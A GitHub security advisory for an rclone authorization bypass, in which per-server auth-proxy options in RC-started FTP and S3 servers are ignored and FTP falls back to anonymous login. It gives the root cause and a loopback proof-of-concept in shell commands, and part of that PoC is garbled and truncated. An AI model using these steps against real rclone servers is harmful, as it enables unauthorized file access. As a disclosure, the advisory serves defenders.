GitHub Advisoryadvisory · Go
GHSA-p569-5gjg-9cmj rclone: RC per-server auth-proxy bypass
CRITICAL
Official page ↗
- Aliases
- CVE-2026-88044
- Ecosystem
- Go
- Packages
- github.com/rclone/rclone
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
- Weaknesses
- CWE-863
- Reviewed
- 2026-09-10
Affected packages
• Go github.com/rclone/rclone: >= 1.70.0, < 1.75.1 → fixed in 1.75.1
Description
Summary
`serve/start` accepts protocol options in a per-server `proxyOpt` object. The FTP and S3 RC adapters parse that object and pass it to their server constructors, but the constructors decide whether proxy authentication is enabled by checking the process-global `proxy.Opt.AuthProxy` instead of the supplied `proxyOpt.AuthProxy`.
When the process-global option is empty—the normal case when only the RC request configures the server—the supplied authentication proxy is silently ignored. FTP falls back to its fixed-backend mode, whose defaults accept username `anonymous` with any password, exposing read, write, and delete operations without the authentication the operator configured. S3 falls back to the fixed filesystem: with an `auth_key`, any holder of that key reaches the fixed RC `fs` instead of the backend selected by the auth proxy.
The S3 no-`auth_key` mode is explicitly documented as anonymous and is not part of this vulnerability claim. The confirmed S3 impact is proxy-based authorization/backend routing being ignored when S3 authentication is otherwise enabled.
Confirmed affected versions are `v1.70.0` through `v1.75.0`, plus development commit `5629f2668c69149bf3d9d8e2a25bb32a2648606e`. The dedicated CLI commands use the process-global option and are not affected by this configuration mismatch.
Affected Assets & Attack Surface
• `cmd/serve/rc.go:68-93` documents nested per-server `proxyOpt` support, including `AuthProxy`.
• `cmd/serve/rc.go:111-148` resolves the fixed `fs` and invokes the selected per-protocol RC constructor.
• `cmd/serve/ftp/ftp.go:96-116` parses the request-local `proxyOpt` and passes it to `newServer`.
• `cmd/serve/ftp/ftp.go:186-207` checks `proxy.Opt.AuthProxy` at line 202 instead of `proxyOpt.AuthProxy`; the false branch creates `globalVFS` from the RC-supplied filesystem.
• `cmd/serve/ftp/ftp.go:54-60` defines the fallback credentials as user `anonymous` and an empty password.
• `cmd/serve/ftp/ftp.go:318-349` accepts any password when the configured fallback password is empty.
• `cmd/serve/s3/s3.go:76-96` parses and passes the request-local S3 proxy options.
• `cmd/serve/s3/server.go:67-101` checks `proxy.Opt.AuthProxy` at line 91 and otherwise exposes the fixed VFS. S3 authentication through `AuthKey` remains separate from proxy-based backend selection.
• Network attack surface: FTP data and control operations on an RC-started server; authenticated S3 operations on an RC-started server intended to route access keys to distinct proxy backends.
• Configuration attack surface: `rclone rc serve/start ... proxyOpt='{"AuthProxy":"..."}'` or the equivalent JSON request.
Technical Root Cause Analysis
The serve implementation has two option scopes:
• `proxy.Opt` is process-global and is populated by command-line/global option parsing.
• `proxyOpt` is a constructor argument populated from the individual `serve/start` request.
The RC adapters correctly create a local copy, apply the request parameters, and call `newServer(..., &proxyOpt)`. Neither adapter mutates the global. The constructors then branch on the wrong value:
```go
// Current FTP and S3 pattern
if proxy.Opt.AuthProxy != "" {
// Uses proxyOpt only after the unrelated global check succeeds.
serverProxy = proxy.New(ctx, proxyOpt, vfsOpt)
} else {
// Fail-open fixed-backend mode.
}
```
Consequently, a valid, documented per-server security option is parsed without error but does not select the security mode it represents. This is not merely an unsupported combination: both RC adapters explicitly parse `proxyOpt`, and the generic `serve/start` documentation gives `proxyOpt.AuthProxy` as an example.
For FTP, the fallback is security-critical because its default account accepts an arbitrary password. For S3, the fallback bypasses the proxy's backend decision, but it does not independently bypass a configured `AuthKey`. If no `AuthKey` is configured, anonymous S3 access is expected behavior and should not be cited as impact.
Proof of Concept & Evidence
The following loopback-only reproduction uses an auth proxy that rejects every login. If the request-local proxy were active, no FTP login could succeed.
Build the inspected revision, then prepare a fixed filesystem and rejecting proxy:
```sh
mkdir -p /tmp/rclone-rc-root
printf 'fixed-backend-secret\n' > /tmp/rclone-rc-root/secret.txt
rm -f /tmp/rclone-auth-proxy-invoked
cat > /tmp/deny-rclone-proxy.sh > /tmp/rclone-auth-proxy-invoked
cat >/dev/null
exit 1
EOF
chmod 700 /tmp/deny-rclone-proxy.sh
```
Start RC on loopback in one terminal:
```sh
./rclone rcd --rc-addr 127.0.0.1:5572 --rc-no-auth
```
Start an FTP server with only the request-local auth proxy configured:
```sh
./rclone rc --url http://127.0.0.1:5572 \
serve/start \
type=ftp \
fs=/tmp/rclone-rc-root \
proxyOpt='{"AuthProxy":"/tmp/deny-rclone-proxy.sh"}' \
opt='{"ListenAddr":"127.0.0.1:2121","PassivePorts":"30000-30010"}'
```
Connect with the fallback credentials and exercise read and write access:
```sh
python3 - /tmp/rclone-s3-fixed/bucket/fixed-secret.txt
printf 'proxy-backend-only\n' > /tmp/rclone-s3-proxy/bucket/proxy-only.txt
cat > /tmp/rclone-s3-route-proxy.py <<'PY'
!/usr/bin/env python3
import json
import sys
json.load(sys.stdin)
print(json.dumps({"type": "local", "_root": "/tmp/rclone-s3-proxy"}))
PY
chmod 700 /tmp/rclone-s3-route-proxy.py
```
Using the same loopback RC process, start an authenticated S3 server:
```sh
./rclone rc --url http://127.0.0.1:5572 serve/start --json '{
"type": "s3",
"fs": "/tmp/rclone-s3-fixed",
"addr": "127.0.0.1:8080",
"auth_key": ["validation-key,validation-secret"],
"proxyOpt": {
"AuthProxy": "python3 /tmp/rclone-s3-route-proxy.py"
}
}'
```
Send a correctly signed S3 request:
```sh
AWS_ACCESS_KEY_ID=validation-key \
AWS_SECRET_ACCESS_KEY=validation-secret \
AWS_DEFAULT_REGION=us-east-1 \
aws --endpoint-url http://127.0.0.1:8080 \
s3api get-object \
--bucket bucket \
--key fixed-secret.txt \
/tmp/rclone-s3-result
grep -F fixed-backend-secret /tmp/rclone-s3-result
```
If the request-local proxy were active, `fixed-secret.txt` would not exist because the proxy selects `/tmp/rclone-s3-proxy`. Current code serves it from `/tmp/rclone-s3-fixed`. Conversely, a request for `proxy-only.txt` returns `NoSuchKey`.
The automated validation `TestSecurityValidationRCPerServerAuthProxyS3Routing` performed this sequence through the actual `serve/start` handler and a MinIO Signature V4 client. It used a valid `AuthKey`, fetched `f…
Related
Alias · CVE (1)
- CVE-2026-88044 rclone is a command-line program to sync files and directories to and from different cloud storage providers. vulnerability
Weakness · CWE (1)
- CWE-863 Incorrect Authorization weakness
References
- https://github.com/rclone/rclone/security/advisories/GHSA-p569-5gjg-9cmj web
- https://nvd.nist.gov/vuln/detail/CVE-2026-88044 advisory
- https://github.com/rclone/rclone/commit/739403963abf6f58003c2becd5f7c4ad0d644153 web
- https://github.com/rclone/rclone package
- https://github.com/rclone/rclone/releases/tag/v1.75.1 web